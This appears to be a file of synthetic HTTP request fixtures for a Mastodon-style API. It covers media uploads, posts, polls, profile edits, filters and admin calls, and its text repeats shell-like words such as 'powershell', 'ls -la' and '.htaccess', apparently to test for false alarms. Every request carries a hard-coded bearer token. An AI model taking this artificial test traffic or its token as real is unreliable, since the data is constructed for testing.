{"method": "POST", "target": "/api/v2/media", "headers": ["Host: example.com", "Content-Length: 480", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: multipart/form-data; boundary=b51aef01d0a24243aacb5ca58a07a3c9"], "body": "--b51aef01d0a24243aacb5ca58a07a3c9\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Shell ls -la.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n--b51aef01d0a24243aacb5ca58a07a3c9\r\nContent-Disposition: form-data; name=\"description\"\r\n\r\nScreenshot of powershell in a terminal\r\n--b51aef01d0a24243aacb5ca58a07a3c9\r\nContent-Disposition: form-data; name=\"focus\"\r\n\r\n0.0,0.0\r\n--b51aef01d0a24243aacb5ca58a07a3c9--\r\n"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/media/117589416087224032", "headers": ["Host: example.com", "Content-Length: 43", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "description=A+screenshot+showing+powershell"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/media/117589416092568321", "headers": ["Host: example.com", "Content-Length: 39", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "description=A+screenshot+showing+ls+-la"}
|
||||||
|
{"method": "POST", "target": "/api/v2/media", "headers": ["Host: example.com", "Content-Length: 484", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: multipart/form-data; boundary=5d3eb955c0434b74bef9478a9c5396b5"], "body": "--5d3eb955c0434b74bef9478a9c5396b5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Example .htaccess.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n--5d3eb955c0434b74bef9478a9c5396b5\r\nContent-Disposition: form-data; name=\"description\"\r\n\r\nScreenshot of .htaccess in a terminal\r\n--5d3eb955c0434b74bef9478a9c5396b5\r\nContent-Disposition: form-data; name=\"focus\"\r\n\r\n0.0,0.0\r\n--5d3eb955c0434b74bef9478a9c5396b5--\r\n"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/media/117589416097237149", "headers": ["Host: example.com", "Content-Length: 42", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "description=A+screenshot+showing+.htaccess"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 83", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: 2a3fad6fe88f49499c3ec2aabef6ae12"], "body": "status=Today%3A+river+walk+%23python3&visibility=public&language=en&sensitive=false"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 117", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8", "Idempotency-Key: f2b6ecb907c44769a068fd199e3bea4b"], "body": "{\"status\": \"More about river walk\", \"spoiler_text\": \"river walk details\", \"visibility\": \"unlisted\", \"language\": \"en\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 115", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: 14f8af228405444e9a6ba7c13daf88be"], "body": "status=Today%3A+python3+%23python3&visibility=public&language=en&sensitive=false&media_ids%5B%5D=117589416080454640"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 111", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8", "Idempotency-Key: cd7a83310465404c89bc54c8330183e1"], "body": "{\"status\": \"More about python3\", \"spoiler_text\": \"python3 details\", \"visibility\": \"unlisted\", \"language\": \"en\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 118", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: f35e02f998684f42b36e8aea999f7488"], "body": "status=Today%3A+powershell+%23python3&visibility=public&language=en&sensitive=false&media_ids%5B%5D=117589416087224032"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 117", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8", "Idempotency-Key: c16a4009d56a4aefa24cc368b8ef1385"], "body": "{\"status\": \"More about powershell\", \"spoiler_text\": \"powershell details\", \"visibility\": \"unlisted\", \"language\": \"en\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 114", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: 9c5c8eec473d4748a246603ad4461232"], "body": "status=Today%3A+ls+-la+%23python3&visibility=public&language=en&sensitive=false&media_ids%5B%5D=117589416092568321"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 109", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8", "Idempotency-Key: eed10216ad8442bf8eca2b0504c6c5a8"], "body": "{\"status\": \"More about ls -la\", \"spoiler_text\": \"ls -la details\", \"visibility\": \"unlisted\", \"language\": \"en\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 117", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: d4c119baa943406787c967f827cfd7e4"], "body": "status=Today%3A+.htaccess+%23python3&visibility=public&language=en&sensitive=false&media_ids%5B%5D=117589416097237149"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 115", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8", "Idempotency-Key: fbe1f4c915b04fa28eacf8cd27e94b18"], "body": "{\"status\": \"More about .htaccess\", \"spoiler_text\": \".htaccess details\", \"visibility\": \"unlisted\", \"language\": \"en\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 228", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "status=Which+do+you+use%3F&poll%5Boptions%5D%5B%5D=python3&poll%5Boptions%5D%5B%5D=powershell&poll%5Boptions%5D%5B%5D=ls+-la&poll%5Boptions%5D%5B%5D=.htaccess&poll%5Bexpires_in%5D=86400&poll%5Bmultiple%5D=false&visibility=public"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 90", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "status=%40bob+python3+or+powershell%3F&in_reply_to_id=117589416132420900&visibility=direct"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 100", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8"], "body": "{\"status\": \"Thoughts on ls -la\", \"poll\": {\"options\": [\"python3\", \"powershell\"], \"expires_in\": 3600}}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 88", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8"], "body": "{\"status\": \"Scheduled post about .htaccess\", \"scheduled_at\": \"2030-01-01T10:00:00.000Z\"}"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/statuses/117589416132420900", "headers": ["Host: example.com", "Content-Length: 114", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8"], "body": "{\"status\": \"Which one do you use? python3, powershell, ls -la or .htaccess\", \"spoiler_text\": \"\", \"language\": \"en\"}"}
|
||||||
|
{"method": "GET", "target": "/api/v1/statuses/117589416132420900/context", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/statuses/117589416132420900/source", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/statuses/117589416132420900/history", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/statuses/117589416132420900/favourited_by", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/statuses/117589416132420900/reblogged_by", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/favourite", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/reblog", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/bookmark", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/pin", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/unreblog", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/unpin", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses/117589416132420900/translate", "headers": ["Host: example.com", "Content-Length: 7", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "lang=en"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/accounts/update_credentials", "headers": ["Host: example.com", "Content-Length: 1170", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: multipart/form-data; boundary=1ce86dc4368a42cfa98a3b4f593e0157"], "body": "--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"display_name\"\r\n\r\nAdmin python3\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"note\"\r\n\r\nWriting about powershell, ls -la and .htaccess\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"fields_attributes[0][name]\"\r\n\r\nShell\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"fields_attributes[0][value]\"\r\n\r\nls -la\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"fields_attributes[1][name]\"\r\n\r\nBlog\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"fields_attributes[1][value]\"\r\n\r\nhttps://example.org/python3\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"source[language]\"\r\n\r\nen\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"source[privacy]\"\r\n\r\npublic\r\n--1ce86dc4368a42cfa98a3b4f593e0157\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"Notes python3.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n--1ce86dc4368a42cfa98a3b4f593e0157--\r\n"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/accounts/update_credentials", "headers": ["Host: example.com", "Content-Length: 146", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "display_name=Admin+.htaccess¬e=python3+and+powershell&fields_attributes%5B0%5D%5Bname%5D=python3&fields_attributes%5B0%5D%5Bvalue%5D=powershell"}
|
||||||
|
{"method": "POST", "target": "/api/v1/lists", "headers": ["Host: example.com", "Content-Length: 41", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "title=python3+friends&replies_policy=list"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/lists/1", "headers": ["Host: example.com", "Content-Length: 27", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "title=powershell+and+ls+-la"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts/117589325674471006/follow", "headers": ["Host: example.com", "Content-Length: 12", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "reblogs=true"}
|
||||||
|
{"method": "POST", "target": "/api/v1/lists/1/accounts", "headers": ["Host: example.com", "Content-Length: 36", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "account_ids%5B%5D=117589325674471006"}
|
||||||
|
{"method": "GET", "target": "/api/v1/timelines/list/1", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v2/filters", "headers": ["Host: example.com", "Content-Length: 267", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "title=python3+spam&context%5B%5D=home&context%5B%5D=public&filter_action=warn&keywords_attributes%5B%5D%5Bkeyword%5D=ls+-la&keywords_attributes%5B%5D%5Bkeyword%5D=.htaccess&keywords_attributes%5B%5D%5Bwhole_word%5D=true&keywords_attributes%5B%5D%5Bwhole_word%5D=false"}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/verify_credentials", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 42", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "status=Plain+words+today&visibility=public"}
|
||||||
|
{"method": "POST", "target": "/api/v2/filters", "headers": ["Host: example.com", "Content-Length: 267", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "title=python3+spam&context%5B%5D=home&context%5B%5D=public&filter_action=warn&keywords_attributes%5B%5D%5Bkeyword%5D=ls+-la&keywords_attributes%5B%5D%5Bwhole_word%5D=true&keywords_attributes%5B%5D%5Bkeyword%5D=.htaccess&keywords_attributes%5B%5D%5Bwhole_word%5D=false"}
|
||||||
|
{"method": "POST", "target": "/api/v2/filters/1/keywords", "headers": ["Host: example.com", "Content-Length: 34", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "keyword=powershell&whole_word=true"}
|
||||||
|
{"method": "PUT", "target": "/api/v2/filters/1", "headers": ["Host: example.com", "Content-Length: 46", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/json; charset=utf-8"], "body": "{\"title\": \"python3 spam\", \"context\": [\"home\"]}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/tags/python3/follow", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/featured_tags", "headers": ["Host: example.com", "Content-Length: 12", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "name=python3"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts/117589325674471006/note", "headers": ["Host: example.com", "Content-Length: 59", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "comment=Knows+python3%2C+powershell%2C+ls+-la+and+.htaccess"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts/117589325674471006/endorse", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/markers", "headers": ["Host: example.com", "Content-Length: 41", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "home%5Blast_read_id%5D=117589418035558426"}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/familiar_followers?id%5B%5D=117589325674471006", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/lookup?acct=alice%40remote.example", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts/117589371958209726/follow", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/117589371958209726/statuses", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 78", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "status=%40alice%40remote.example+thanks+for+the+python3+tips&visibility=public"}
|
||||||
|
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Content-Length: 110", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "account_id=117589325674471006&category=spam&comment=Posting+python3+and+powershell+malware+links&forward=false"}
|
||||||
|
{"method": "GET", "target": "/api/v1/admin/accounts?local=true&username=python3&display_name=powershell&email=ls+-la&ip=192.0.2.1", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/admin/accounts?origin=local&status=active&username=.htaccess", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/admin/reports", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/admin/trends/tags", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/domain_blocks", "headers": ["Host: example.com", "Content-Length: 122", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "domain=spam2.example&severity=silence&private_comment=python3+and+ls+-la+spam&public_comment=powershell+and+.htaccess+spam"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/email_domain_blocks", "headers": ["Host: example.com", "Content-Length: 20", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "domain=spam2.example"}
|
||||||
|
